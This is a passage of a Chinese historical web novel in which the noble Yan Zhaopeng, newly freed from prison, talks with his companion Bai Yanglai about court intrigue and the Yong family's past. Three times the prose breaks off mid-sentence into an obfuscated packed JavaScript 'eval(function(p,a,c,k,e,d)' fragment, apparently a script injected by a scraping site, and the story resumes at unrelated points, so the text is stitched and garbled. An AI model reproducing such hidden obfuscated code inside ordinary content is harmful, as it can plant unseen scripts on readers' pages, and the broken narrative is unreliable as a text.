燕昭鹏正对着一桌子美味佳肴横看竖看,极尽挑剔之能事。他一向胃口不好,身体亦总有不适,虽然因为教养好总是自己默默忍耐,不爱对着下人发脾气,但久而久之这挑剔的性子也是登峰造极,以至于谁也说不清他挑食到底是不爱吃还是不能吃。 白阳来从里屋走出来的时候恰逢燕昭鹏起身换到桌子对面的位置重又坐下,白阳来于是顺理成章地在他原来的位置上坐下,开吃。 与燕昭鹏正好相反,白阳来胃口好,对燕家的饭菜也从不挑剔,吃什么都很香,哪怕只是看着他吃都会让人有一种幸福圆满的感觉,仿佛面前这一桌人间烟火能抵挡所有的风刀霜剑、世态炎凉。 久别重逢,本以为会陌生,但有的却全是熟悉与亲切。燕昭鹏抬高下巴冷冷问:“好吃吗?” 白阳来看了看他实在地说:“这道汤最好吃,不过凉了就不是那个味儿了。” 燕昭鹏伸手扶了一下那盛汤的瓷碗,白阳来适时补充道:“刚才有点儿烫,现在喝刚好。” 燕昭鹏冷冷道:“没碗了。” 白阳来这才注意到,虽然桌边放着两张椅子但桌上只布了一副碗筷,他一口喝干自己碗里的汤,提着那碗一边给燕昭鹏舀汤一边好言好语地说:“已经替郎君试过了,汤里没毒、不咸,枸杞叶鲜甜、没有怪味道。”将大半碗汤放在对面人身前的桌上:“郎君放心喝,温度也是刚好的。” 燕昭鹏哼了一声,终于开始用晚餐。 如果此时福英叔在旁一定会感动得抹眼泪,还会自以为是小声喃喃但其实声音大的足以被满屋人听到地说:“祖宗保佑,郎君今日吃晚饭了。”并且以此类推早饭跟午饭。以至于燕昭鹏坚持觉得自己从小到大经常吃不下饭真的不能全怪自己。别的不说,为这么点儿事老是打扰祖宗也不太好吧。 燕昭鹏喝完了热汤胃里熨帖多了,他低下头把玩着瓷勺说:“我以为你不会来了。”燕昭鹏脸偏圆,嘟着嘴说话的时候很可爱。 白阳来拿着布菜的筷子的手停在了半空,继而收回,架在筷架上,低了头语带歉意地说:“我那次一时没反应过来,不是故意的。” 那日,白阳来穿着崭新的官服等着陪雍大将军进宫面圣,乍听人跑来说燕家出事了,燕昭鹏被下了大狱,脑子还没反应过来人就已经向擢英司奔去。凭着身上的官服和怀里的银票,他顺利地在狱中见到了阔别许久的燕昭鹏。燕昭鹏气色不是太好,头上只戴着一支挽发的素玉簪子,裹着大大的皮毛大氅,更显得瘦削可怜。 燕家百年世家,所结姻亲亦是不凡。燕昭鹏的母亲娘家巨富,燕大郎君从小穿的衣裳都是由专人为他织了布再精工细做而成的。白阳来自被燕昭鹏捡回之后就一直跟在他身边与他作伴,刚开始白阳来个子小,燕昭鹏就命人找出自己小时候没穿过的衣服给他穿。后来两人长得一样高了,就一起穿燕昭鹏的新衣服——反正燕昭鹏穿不完也是白放着,小郎君自己也不介意。 是故长久以来白阳来太清楚燕昭鹏平日里的穿戴,哪怕是在病重卧床,也是个富富贵贵的小公子,猝然见到他这个样子,一种巨大的落差当头砸过来让他一时之间完全不能接受,呆立在原地就这么懵住了,等反应过来燕昭鹏正端详身着官服的他时,白阳来心中羞愧难当痛悔交加,踉跄地退了几步掩面奔出了擢英司。这才有了他后来去探问用军功换狱守一职的事来。 白阳来竟然比燕昭鹏自己更不能接受他被关在牢里的样子。当时虽然也没有反应过来,但后来发现这一点之后他好笑了很久,一想到就莫名觉得开心。 反观看见白阳来一身簇新官服的燕昭鹏感觉就好多了。毕竟他见到白阳来的第一面就是他最狼狈的样子。当年是他居高临下透过马车高大的窗户一眼望见了路旁草丛中一身血污的白阳来,他把他救了回来,一点一点用心地供养他长大——燕昭鹏那时觉得看着白阳来蜕变长大比自己活着更有意思;终于,他养成比自己还要高大俊美的少年郎。父亲将白阳来送出府去参军,他知道那是因为帝都即将生变而燕家早晚会被波及,趁着有机会给他谋个清白出身让他脱离燕家是为他好。毕竟等闲无人敢动燕墨闻燕昭鹏的性命,但杀一个他们身边毫无根基的伴读却是对一些人来说轻而易举的事。当时,燕昭鹏舍不得与相伴多年的伙伴分开,又不想耽误他得来不易的机会,于是选择了对白阳来避而不见让父亲出面与他告别、送他离府。没想到白阳来一走,他就再没见过。而阔别多日的第一次相见却是:他穿着簇新的官服端庄华丽,燕昭鹏自己身陷囹圄、落魄不堪。这样的白阳来是对燕昭鹏来说也是陌生的,所以一时之间他也愣住了。 就这样,两人在狱中匆匆一面,不曾叙只字片语,直至今日。 分别时还是少年,再相见便俱已长成了。经历世事变迁之后,燕昭鹏终于能在这满室辉煌的灯火之下仔细地看一看如今的白阳来了。 哪怕是在初初相见生死未知之时,白阳来也是一副玉人儿般的好摸样,更遑论这些年燕家和雍大将军都对他真心以待,无论在哪儿,俱将他养得很好。如今坐在燕昭鹏对面清雅沉静的郎君,肌肤胜雪,眉顺目长,一双凤眸清澈潋滟,看着燕昭鹏的时候因为认真眼眸圆睁,实在是可亲可爱,让人能轻易地透过这双眼睛得见他的满腔赤诚纯真。若是这凤眼斜睨,则不论是微微下压还是轻轻上挑,都会在不经意间漫出无限风情。白阳来鼻高且直,鼻头稍圆,鼻翼更圆,人中清晰深长,唇红而润,下唇略厚于上,闭合时宛如一朵鲜艳的花骨朵。若双唇微张,则可见两排整齐皓齿,其中两颗门牙略长,配合着瞪圆的眼睛看起来会像小兔子。青年的脸颊微微鼓起,为他添了些许稚气,不过下颌处分明有力的骨线又抵消了单纯的可爱,加重了沉稳可靠之感。 燕昭鹏回想他冲进擢英司大牢那日的情景,时过境迁,此时他早已忘了两人的尴尬怔愣,白阳来来了又去时他心中的失落也被刚才的一碗热汤弥散了,再回想起当日的场景他只觉好笑,又有些骄傲。这样的一张脸穿起官服果然是堂皇瑰丽威压深重,怪不得两人相见的时候狱中的守卫尽皆恭敬低头,整个擢英司大牢静若无人。 对面的白阳来心中有愧,还想表达歉意,喝完汤的燕昭鹏却来了力气。把勺往碗里一扔,他气势逼人道:“白小羊,你想对我说什么?” 白阳来愧疚低头道:“对不起,都是我……。” 燕昭鹏打断他道:“你什么你?你确实对不起我,那次跑了怎么后来也不去看我?”燕郎君生气,话越说越觉得自己理直气也壮! 白阳来真诚努力地反省道:“是,我那天不该转身就走,我没去看你是因为我原本用军功换了狱守的职位,当时想着尽快办完手续就可以……” 燕昭鹏大惊不已,打断他道:“你用自己出生入死的军功换擢英司的狱守?”说到最后燕昭鹏调都变了。 白阳来一听这声气便知他是动了真怒,立刻闭了嘴。 多年形影不离的相处培养出了近乎本能地默契,让他们对于彼此的表现十分了解,以至于能够在霎那间做出对自己最安全的反应,比如此刻,面对发怒的燕昭鹏,白阳来眨眨眼睛,努力把自己的气息变得弱小、可爱、无辜、亟需被原谅。 燕昭鹏大怒拍案:“区区一个狱守怎配得上你?” 白阳来不敢说帝都擢英司的狱守比他之前的品级还要高一点,而且他并没有去。首先燕昭鹏看不上的东西管你什么品级,其次燕大郎君发火的时候没有别人插话的份儿。 燕昭鹏怒火熊熊道:“你好不容易挣来的军功就用来换那破烂玩意儿?”虽然燕郎君看不上,但擢英司的狱守也是家产数万白银的人呢。 燕昭鹏太失望了,他痛心疾首道:“你怎么眼皮子这么浅?你怎么能这样妄自菲薄?你对得起你自己吗?” 白阳来不自觉地鼓了鼓原本就很可爱的脸颊偷偷想,这话要是让雍大将军听见一定无比赞同并且会把他的训练量往上再翻一番。 燕昭鹏大掌一拍——这次没敢拍桌子,刚才那一掌太用力,他手还疼着——把座上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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白阳来不说话了,确实,燕大郎君是很挑剔的。从他还是小郎君的时候开始,就尤其挑剔。比如,伺候他的人不能不好看,也不能过于美艳,要好看得他觉得刚刚好才行;言行举止也要优雅,符合小郎君的标准,不然就不能近前伺候,只能“提个热水壶送到屋外也就罢了”,连进屋给小郎君倒茶也不是谁都能做的。 燕昭鹏看白阳来,两人已从饭桌挪到了榻上,白阳来盘腿端坐在他对面,一脸自责与愧疚,跟个做错事的小孩子一样,双手放在双膝之上可可爱爱看起来很好欺负。燕昭鹏感觉得到自己的怒气在慢慢地消去。 白阳来说:“我一直在查大人的案子,大人是被冤枉的,是无端被牵连,你更是。” 燕昭鹏平白受了一场无妄之灾,心中的委屈害怕自然是要发泄的,只是他到底长大了,如今父亲平安的消息也到了,白阳来也回来了,还对他说了这些话,燕昭鹏突然觉得,曾遭受的不公、日日夜夜忍耐过的委屈和害怕他都可以轻轻放过了。 只是说到他去查这次的案子,燕昭鹏仍是忍不住嗔怪:“你实在是关心则乱,怎么自己去查?万一你再有什么可怎么办?往日里的那些冷静自持都到哪儿去了?你也知道咱们家又不缺钱,谁看得上那点儿军费,燕家几代的清名就是金山银山也别想扰了去!” 问题恐怕就出在这儿:又不缺钱,又有几代清名,多少人嫉妒眼红,哪怕毁了燕家之后好处落不到自己头上,看着也高兴。燕墨闻燕昭鹏父子均安让白阳来彻底放了心,心定了,那些乱了的分寸、失去了的睿智深沉也就都回来了。 可是燕昭鹏想不通:帝都谁人想从燕家得利都很正常,毕竟富与贵举世皆渴望,名与利自古动人心,而办一个燕家就这些也就都有了。可是,“他为什么也看咱们家不顺眼?” 到底是大家族养出来的孩子,许多规矩避忌早已刻在了骨子里,是以说到这种涉及敏感人物的话题时便会自觉地注意,比如此时的燕昭鹏,在不知什么时候他绕过半个黑漆描金梅花几从自己那边上移到了白阳来身边,对着人家的耳朵说了刚才那句问话,名符其实的出我口入你耳。 那么这个“他”指的自然就是不能随意宣之于口的人了。 他说的是今上,景帝。 白阳来看燕昭鹏眉宇中愁怨散去神色放松下来之后也恢复了自在的样子,此时的他沉稳又安静,浑身散发出一种强大但温和的气息,让燕昭鹏觉得很安心。正是白阳来的这种气质,让从小在大睿顶尖能人中长大的燕昭鹏笃定地觉得,虽然自己只是个稀松平常的世家子弟,但白阳来必会成为一位光耀千秋的不世英才。 对此,白阳来深感无奈,在他看来燕昭鹏会对自己产生这样的误解不过是因为燕家高门,从小与燕家往来之人都太过厉害,在大睿朝都属于是顶尖的人物,因此才让他误以为自己平平无奇,其实完全是错觉,燕昭鹏在整个帝都的世家子弟中都是很优秀的。至于燕昭鹏对白阳来的看法,白阳来本人表示:“郎君抬爱了。话说你昨晚是不是又偷偷把药倒了,害得自己白日犯病?” 不过,这些眼下都不重要,重要的是今后他们该如何打算。 5. 第 5 章 白阳来安慰燕昭鹏道:“观过往,这是那位一贯的做派,倒也并非针对燕家。一边任才一边嫉贤妒能,又要用人又要疑人,偏还做不周全,姿态实在难看。” 这话听起来让燕昭鹏感觉特别舒服,有人不但能理解你,还能把你心里想说又不好说的意思表述得这么好。 两人异口同声低斥了一句:“道貌岸然。” 话音落,又一起偷偷笑。 白阳来问:“你今后如何打算?要去找大人吗?” 燕昭鹏显然对此颇有踌躇:“倒也有几位叔伯来信请我去他们麾下做个长史什么的,我正在考虑。主要是,你说我离不离开帝都好呢?” 白阳来对他的打算显然比对自己的安排认真多了,闻言略皱眉道:“离开当然自由,但你身体不好,若是离府只怕会难过许多。” 燕府雕梁画栋一步一景,既有帝都世家的大气又有玉州豪富之家独有的精细雅致,于燕昭鹏而言,这里是全天下最熟悉、最舒适、最合心可意的所在,可是“阿爷已经不在这儿了,你也好久都不回来,以后……也不知道他以后还能不能回来。说实话,我其实不想他回来,在外面也挺好的,就他那个脾气。”燕昭鹏瘪瘪嘴。 白阳来听出他有意换个环境,便问:“你想去哪儿?我请调过去。” 燕昭鹏不解眨眼:“调什么过去?” 白阳来理所当然地说:“我自己啊。” 燕昭鹏瞬间明白了他的意思,鼻子莫名的就有点儿酸:“你胡说什么呐,奔你的前程去,雍大将军器重你,我一直为你高兴。你堂堂将才总跟着我算怎么回事儿。” 白阳来笑了,说:“大人也器重我,你也器重我。”白阳来一笑灿烂明媚,温和耀眼如月华流照,他双眼澄澈看向燕昭鹏:“我知道我很幸运,你们都没有看不起我过。” 燕昭鹏也俏皮一笑:“这你就要好好谢谢自己、谢谢父母在天之灵了。你天生就让人高看,那些看不起你的人都是有眼无珠的蠢货。” 有些话哪怕再桀骜狂妄,由燕昭鹏口中说出也显得那么理所当然。 白阳来从善如流说:“既然燕大郎君这么看得起我,就别急着走,你身体也没养好呢,不妨先等等再说。大人已经走了,你再走,那以后咱们天各一方还能再见吗?”他需要一点时间安排自己的事情。 白阳来看着燕昭鹏将漂亮的凤眼微微瞪得圆了些,恳切地说:“我把你和大人当家人的,跟我的小羊一样,我就不能有个家人吗?好不容易有了,又要分开吗?” 白阳来原本只是想劝住燕昭鹏先养好身体不要急着做决定,话说出口反而勾起了自己的心事,这些在他心里想了许多遍的话一旦真的说出口,那些一直压抑着的情感便再也控制不住了。话落,他的眼眶中噙满了泪。 燕昭鹏也是刚刚经历过大变故的人,坐了一圈大牢不说,好不容易回了家父亲却远在千里之外处境险恶。他从小到大都跟父亲在一起,每日都会见面,若有一日爷俩没见着——多半是因为燕墨闻公务繁忙,那他便会寻到父亲身边,不干什么,就安静地待着;若是办公之处他不方便入内,那就算在门外窗边他也要与燕墨闻说两句话或是挨一顿笑骂,再心满意足地回家。是以此次回府之后他总是睡不踏实,先是夜夜无眠,极度困倦却无法入睡,胡思乱想父亲怎么样了,实在撑不住才能迷迷糊糊睡过去;可是一睡着就会一场接一场地做梦,醒不过来也睡不踏实,更加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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情深不寿,慧极必夭。这位小娘子太聪慧太通透,出身又富贵,母亲虽然早逝却有着外家与阿爷全心的疼爱,从小任什么都不缺,比之世上大多数的人,她拥有的太多,知道的太多,同时又活得太清醒、太明白,以致于少有欲求,少有好奇;更兼先天便有不足之症,时时痛苦难耐,于她而言,活着并不好受,能让她开心的东西也很少。 讲到这里,燕昭鹏身有同感地点了点头,这位小娘子的想法他太懂了。 白阳来继续讲到:小娘子的家里有很多书,但书上的东西她一看就懂,觉得没甚意思;别人眼中珍贵的珠玉金翠在家里一箱一箱的堆着,在她看来晃眼又沉重,也不好玩;她唯一的消遣便是看阿爷的公文,人心鬼蜮,变幻莫测,才是让她有兴趣的东西。 因着父亲越发受圣人重用的缘故,她的及笄礼办的十分盛大,她本着为父尽孝的心意亲自给自己开了调理身体的方子,按时按量地喝了三个月,终于能在及笄礼当日全妆出门,第一次现身于众人面前并完美地撑到了最后,直到坐上了回府的马车才在车里晕了过去。 燕昭鹏歪着脑袋看白阳来:什么故事,这不就是雍府的往事吗?帝都世家的旧事没几件我不知道的。 白阳来不理他,接着讲,不过既然他都猜出来了那就不必遮掩了。 当时正值壮年的雍长龄虎目含泪握着女儿的手守在床前哭道:“儿啊,何必如此,何必如此啊。” 雍平康小娘子没有立刻说话,而是攒了攒力气,才平静中略带一点娇气地安慰父亲说:“孩儿在府中待的久了,也想出去看看别的人嘛。”雍长龄从小养她到大,怎能不知道那些所谓的“别的人”在他女儿眼中和院子里的树没什么分别,很有可能她还更喜欢树。 在父亲的注目下喝了按着新方子煎好的药,雍平康拥被而坐与父亲说话:“我曾看过阿爷带回来的邸抄,两年半之后先皇后去世就满十年了。” 雍长龄还在担心她的身体:刚才那碗药一定很难喝,他闻起来都难闻极了还是绿汪汪的……闻言回神,不解地说:“啊?噢是啊,两年……嗯两年半。康儿怎么突然提起这个?” 雍平康犹豫了一下,顾忌着父亲的承受能力没有直接说出自己的猜想,转而道:“父亲可知先皇后的母家如今如何?” 雍长龄想了想说:“先皇后是陆老将军唯一的女儿,当年丧期未过老将军便惊了马,一向对外说的是在府中养病,实际上早已下身瘫痪不能行动了。我头几年去探望时老将军还愿意见见我们,在院子里晒晒太阳闲话一时;这两年再去,我们已经见不到人了。” 雍平康垂下眼睫,端庄斯文地轻点了点头。 雍长龄看着女儿白中泛着点儿青的小脸儿,高兴于她愿意闲谈说明身体好点儿了,又难过于她花一样的年纪却不能如常人一般无忧无虑。这想法实在是有失偏颇了,常人即便康健又有谁能无忧无虑? 雍长龄按捺住思绪继续说到:“陆老将军当年所掌之兵权现由几位陆将军分领着,圣人将他们都派到了陆老将军当年驻守过的地方,陆家的权势如此也算是传承下来了。”这话也就是个安慰,兵权在一个人手中和分别在几个人手中那可是天壤之别。 雍平康淡淡一笑,抬起一双平静的眼睛看着他说:“父亲,陆家快要办丧事了。陆老将军哀荣加身丧事会办得非常隆重,届时,在外带兵的陆将军们会尽数返回帝都为父奔丧。按制,父死需守制三载。陆家的兵权用不了多久就会回到了圣人手中了,而且名正言顺,理所当然。” 雍长龄先是震惊继而沉默。他对于女儿的话可以说是万分意外,但以他所知的朝政时局和景帝的图谋,话中的这一切都太可能发生了。他沉默着,一边在心中再次推演种种,一边思考女儿今日突然与他说起这些是什么意思。 故事之外,听白阳来讲到此处的燕昭鹏作为已经知晓了后来事态发展与结果的人,则是整个脊背汗津津的发寒。他害怕地抓住白阳来的肩膀汲取温暖和安全:“你是说,雍娘子早在那时候就看出了陆家的死局?” 白阳来拍拍他的手索性将榻上的梅花几移开说:“是啊。其实这也是大人和大将军都希望我多出去看看、多长些见识的根本原因。我跟你不一样,从小没见过什么世面,跟着你一起读书读的也都是死书,不多长长见识,就无法像雍娘子这样,灵活贯通地看待世事和各种各样的人。”白阳来笑自己说:“我跟着大将军在外头也挺机灵的,可这次遇到咱们自己家的事反而犯傻了。现在想想自己也觉得可笑。” 一说起这个,燕昭鹏立马打趣他:“可不是吗,白狱守,你从小到大可是少有犯傻,从来都是别人为你犯傻的。” 白阳来淡淡一笑,初春的风从窗外吹了进来勾起了他的发丝,如此随意,亦可入画。 燕昭鹏心思转回说:“所以你的意思是,雍娘子是从别的事情上发现陆家灭门之端倪的?” 白阳来点头:“是。” 燕昭鹏愿闻其详:“怎么说?” 回到故事里。 据雍平康当年的分析,皇后去世多年,圣人羽翼渐丰,收陆家的兵权是他的第一步。那么怎么收呢?雍平康认为,依今上的性子他应该会:“在这三年之内杀光陆家所有的嗣子。” 所有的?嗣子?当年的雍长龄乍听到也觉得脊背生寒。 雍平康平静点头:“对,无论大小,一个不留。” 雍长龄想说圣人不至于如此,但自己女儿也不是会随便说话的性子,遂问:“为何这样说?” 雍平康看着他露出了一点笑意,很好,父亲相信我多过相信他的主君,那就可以直说了:“因为,圣人气量狭窄,生性善妒。先皇理智尚存之时从未想过让他承继帝位,若非一时激愤逼死文王,而明王殿下又远在澄州,怎么轮得到他?再有,若不是他娶了陆家独女,得到了陆老将军的鼎力相助,凭他?澄州就是再远这皇位也轮不到他来坐。” 雍长龄叹了口气,女儿确实聪慧,但还是太年轻了:“孩子,你说得对,但又不对。陆家独女嫁给当年的厉王和陆帅助厉王坐上皇位成为如今的景帝,这两件事,你觉得,前者为因后者为果?” 雍平康平静的表情中露出一丝疑惑,好像在说:“难道不是吗?” 雍长龄突然开心起来,女儿虽聪慧以致于看起来事事老成,但毕竟还是个孩子,如今少见的露出了这样可爱的神色,真让人禁不住笑逐颜开。他清了清嗓子耐心地说:“其实不是的。我相信不论是当年的厉王还是陆帅,都一定是先谈好了合作,才订的婚约。” 雍长龄解释道:“陆家只有一个女儿,她的婚事可以不对陆家有所帮助但也决不能拖累家族。如果只想要对女儿好,那大可以在低于陆家门第的人家里找一个陆娘子喜欢的夫婿。不论如何,将军府与皇子结亲,你把这一层单拿出来看就能明白,绝不会是亲事在前而利益在后。” 雍平康点点头,语调仍是不紧不慢:“阿爷言之有理,是我一叶障目了,厉王和陆老将军,确实都不是会将小儿女之情爱放在权力之前的人。只是陆家既有从龙之功又手握兵权,依圣人的性子在坐上皇位之后怕是只要想起这两点内心便会无比煎熬吧。偏偏陆家的几位将军甚至与我同辈的几位少将军也都是带兵的好手。也是因此,皇后娘娘自入主中宫以来五次有孕,五次小产……父亲,圣人对自己的子嗣也是一样心狠呢。” 皇后有孕却小产的事雍长龄当然知道,但他也只是知道,从未在意过。如今听女儿如此说来,雍长龄竟蓦然心惊,只觉得自己后背起了一身的白毛儿汗。嫁为人妇的女子有孕何其正常,有孕的女子小产也并不少见,但一国之母,五次有孕五次皆小产这就有些令人…… 故事讲到这里燕昭鹏又忍不住插话道:“对对对,这事儿我知道。其实宫外对此是很有些议论的,皇后娘娘头一次小产之时圣人还愧疚不已辍朝三日陪伴娘娘,并且特许陆夫人进宫看望女儿。后来中宫再有小产就不是这样了,宫里头不但有意压消息,而且不许宫外之人传言议论。有位夫人娘家与陆家有亲,曾在茶会上为娘娘失子惋惜落泪,她家郎君隔日便被寻着由头降品了。” 燕昭鹏这样爱新鲜见闻的也只知道这些,白阳来这样能在府中看书练武就大门不出二门不迈的基本上就什么都不知道了。于是,燕昭鹏说完,白阳来继续讲故事。 故事里的雍平康继续与父亲分说:“陆家卸了兵权不打紧,可这统兵领兵的空缺由谁顶上呢?以我之见,满朝武将没有比父亲您更合适的人选了。毕竟,咱们家没有其他世家在帝都多年的根基,不过不要紧,有圣人,圣人愿意给您足够的支持。”说到这儿,雍平康顿住了。 这一顿,实属刻意,雍长龄又怎么会不明白呢?顿在这里的意思是什么,他甚至想都不用想。话已至此,不过是如法炮制罢了。后位空悬已久,圣人正值壮年,而他的女儿,今日及笄。 圣人若是想要支持他,还能如何支持呢? 雍长龄虎目一亮杀气迸出,带着令人胆寒的威压看向大放厥词的女儿。雍平康凤目一展锋芒更盛,迎着父亲的目光一寸一寸地压回去,语气仍旧是平静无波,却有暗流汹涌,只听她沉声道:“我今已及笄,等圣人料理好陆家再平一平余波,先后归天十载之际,该抹的痕迹也都抹得差不多了,正正好迎我入宫,封您上位。” 雍平康舒颜展目,犹如一朵绝世雍容的牡丹徐徐绽放出倾世姿容,她说:“父亲你看,我们雍家,就这样成为了圣人一手扶植起来的帝都大家了,十年之后,焉知不是第二个陆家?” 她的笑容明艳得刺目,她说:“非比陆家。由自己扶持上来的,若要打煞,应比陆家容易?”尾调微扬似是问句。 然而雍长龄知道,事情若是发展到那一步,自己只会比陆家更无路可走,不堪一击。不,雍长龄心绪已经乱了,头也有些痛,他挣扎地说:“陆家是多年的将门,就算不比燕家底蕴深厚,可这一代的名望却比燕家更盛,总有些周旋的余地……再说即便真如你所言,现在一切尚未发生,他们未必不能有所挽回……” 雍长龄话一出口就已知错了,陆家不可能。 雍平康却不含糊,继续挑明了说:“父亲所言极是,一切尚未发生,若有心周旋挽回自然是有余地的。可是父亲,如何周旋?又如何挽回呢?是改变圣人的心意还是让陆老将军或者几位陆将军退思补过呢?” 雍长龄忍不住叹了口气,都不可能。 听故事的燕昭鹏也在深夜的房中叹了口气:“不可能的。那位,不论做什么,他自然都是没错的,怎么可能改变心意。而当时的陆家,哼,别说陆老将军和几位陆将军了,就是几位陆小将军,都跋扈桀骜,骄横得很。” 当年燕昭鹏作为燕家独子,甫一出生便被先皇赐了个五品承恩校尉的虚衔。帝都勋贵子弟虽多,像他这样身上自带品级并不一味靠着家里的却也不多,因此显得很是独特,又兼燕家的底蕴传承与玉家深不可测的财力,无论比什么燕昭鹏在帝都世家子弟中都必占得一席之地。同时他又病病殃殃的,旁人惹不起也气不得。久而久之,帝都权贵子弟就总爱拿他当个标杆,任什么都要跟燕家那只“飞不起来的鲲鹏鸟”比一比。白阳来当时是一心珍惜得来不易的平静生活,真正的两耳不闻别事,一心只向兵书,否则不知道要出去为燕昭鹏打多少架。至今说来他都觉得放过那些混账的自己对不起燕昭鹏。不过燕昭鹏不在乎,所以从未跟他提过那些事。只是今夜说起陆家,倒唤起了燕昭鹏的许多回忆:“我还记得那年我过生日,舅舅做了一辆用透明琉璃镶作窗户的马车给我玩。说是那车即吹不着风又能赏景我用最好,你还记得吗?” 白阳来记得, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“尝闻,先皇曾赏赐文王、今上与明王一人一匹小马。那马驹是草原马王的血脉,神骏非凡。三位殿下亲自驯马,文王年长有经验,很快将马儿驯服;明王聪敏悟性高,也与马儿相处融洽;唯独如今这位圣人当年的厉王,惯爱掐尖要强偏才不显德不彰,他未能最先驯服马儿,眼看明王也快要成功了,心急之下他竟给明王的小马下了药,致使明王跌下马来摔断了腿,慧贵妃痛心之下言语冲撞了先皇,先皇因厉王在兄弟中天资最差一直对他并不待见,但慧贵妃言辞激烈又让先皇觉得面上无光,因此竟在慧贵妃最伤心愤慨之时选择了维护厉王。慧贵妃原本就痛心儿子无辜受伤,先皇非但不严惩罪魁祸首反而加以维护,这让她对先皇大失所望,待明王伤势刚刚稳定便向先帝自请与明王就藩澄州了。”当时的雍大将军经过女儿的一番启发回忆之后再听这个故事真是想不敏感都不行。雍平康偏还要强调:“坠马,多么相似啊。父亲,这是不是就叫:故技重施?” 沉沉暮气中开出娇妍牡丹,雍平康随意一笑道:“陆家有个独女,雍家也有个独女。雍家比不过陆家根深叶茂,在这件事上却比陆家好太多了,好在:只有一个,独女。” 不想再顾左右而言他了,雍平康面容端肃从软靠上起来,坐直身子对雍长龄说:“圣人的手段,少年时便那么狠,如今帝位稳固只怕更是有过之而无不及。学成文武艺货与帝王家这本是常理,可如今这位帝王只怕是不堪托付。我先跟您交个底,依我之见雍家若是入了他的局,未来必不能保全。至于我,父亲,我随时可以死,但不能死在我不喜欢的地方,更不能由我不喜欢的人决定我的生死。” 说到这里,雍平康的双眼泛出点点泪光:“女儿不孝,为难父亲了。” 雍长龄心中难受,既难以接受女儿说起的过往,更难以接受女儿打算的未来。 他哽咽着,尽力又无望地保证:“你休要说这样的话,无论如何,父亲必不会让你受委屈,大不了咱们一家三口换个地方团圆。” 雍平康笑着摇了摇头,又恢复了小女儿的娇气,娇嗔地说:“可惜阿爷不如我命好,不能毫无挂碍地离开。”她说:“前几日咱们已说通族长带着族人返回祖地以求保全。但普天之下莫非王土,我一个小娘子也就罢了,若是父亲您有个什么,那族人们即便远在玉州恐也难逃牵连。” 雍平康道:“父亲忠君爱国,为家国百姓征战沙场悍不畏死,但如今这位,纵然是通天的本事、彻地的忠心,在他的丹墀之下也只会不得善终。” 雍长龄叹气,圣人曾暗示过他,愿倾内库之珍为康儿调养身体,他当时感激不已,以为圣人是看重他,又知道他满心唯有一女,想以此来笼络他。现在看来,这笼络的背后藏着的竟是深渊绝境吗? 雍长龄声音干涩:“圣人临朝执政,总是需要有人替他掌兵征战的。” 雍平康语轻声慢:“确实如此。只是,即便陆老将军跋扈了些,皇后娘娘有什么错?她堂堂一国之后,为什么连个孩子都不能有?只因圣人一直以自己的出身为耻罢了。” 说到这里,雍平康的声音转为轻蔑语出刻薄:“当年的文王是皇后嫡子,明王的生母慧贵妃在昭敬皇后崩逝之后教养文王,统领后宫,掌皇后印。甚至,当年先帝的封后诏书都送入太庙了,只不过因为后来发生了那件事留中未发罢了。”此事很多人都知道,当年先皇钦点了九九八十一位身形健硕面容英俊的年轻将军组成专门的仪仗押运先皇特意为封后大典新铸的礼器入帝都,雍长龄就是其中之一。 说到这里,雍平康的声音转为轻蔑语出刻薄“只有他,生母不过是个嫔位,他自卑嫉妒,即使自己已经坐上了至高无上的皇位,也不愿让母家显赫的皇后诞育子嗣!他甚至都怕他的孩子出身太好而压了他。可他又为什么让皇后怀孕五次?宫里那么多手段,他根本就是故意的!”年少的雍平康深深为另一位女子的遭遇感到愤慨和难过,天下女人之至尊又如何,深宫绝望。 雍长龄看女儿激动了起来怕她受不住,忙转移话题问道:“你日日在家,是怎么知道这些的?”还知道的这么多这么详细。 7. 第 7 章 自己关注朝政时局父亲一直都是知道的,也没少依托官职和各种关系为自己的小兴趣行方便,此时来问想来不过是要让自己从激越的情绪中快快抽离,雍平康何等聪明岂会不懂,再说,知道这些也没什么难的,她小脑袋一扭满不在乎地说:“若要人不知,除非己莫为。我虽日日在家,可我有钱、有闲、家中父亲给我留下的人又都是能干的,我还有这个。”她伸出一根嫩嫩的小指头,指了指自己戴着珍珠压鬓的小脑袋,说:“只要我想,就能知道。别人没办法做成的事,我能。” 她说这话时娇俏得意得熠熠生辉的样子让雍长龄感到了身为人父无比的自豪与骄傲。常人总替他可惜说他英雄一世却膝下无子,可在他看来,女儿也是儿,他这个女儿,就算抵不了帝都所有人家的儿子,也差不多了。仙桃一个难道不比烂杏一筐要好?嘲笑他的人才是真正可怜,没见过好儿孙便以为满屋的败家子拢到一块儿就能抵得上一个江东仲谋了,呵,自己都不屑与之辩驳。 “父亲方才说,陆老将军是与当年的厉王谈好了条件才嫁的女儿,那咱们家呢?”雍平康说:“如果阿爷愿意跟圣人谈条件,那自然最好不过;如果不愿意,圣人下旨召我进宫,父亲难道能辞?就算您是真心相辞的,在旁人看来也必会以为咱们家是想要以退为进谋求更多的利益;更有可能的是,只要圣人下旨,大家便会默认咱们同意或者私下里已经谈好了条件。不会有人真的相信您会将我的幸福至于权势之前的。况且,咱们不比世家,在帝都毫无根基,不紧紧依附于圣人那就您今日之职位而言便是逆水行舟,登高跌重的后果雍氏一族赌不起。如此一来,就算父亲您一身孤勇敢犯天颜,也无济于事。只要他要娶,那在世人眼中雍家与他就是一体的了,一如当年的陆家。” 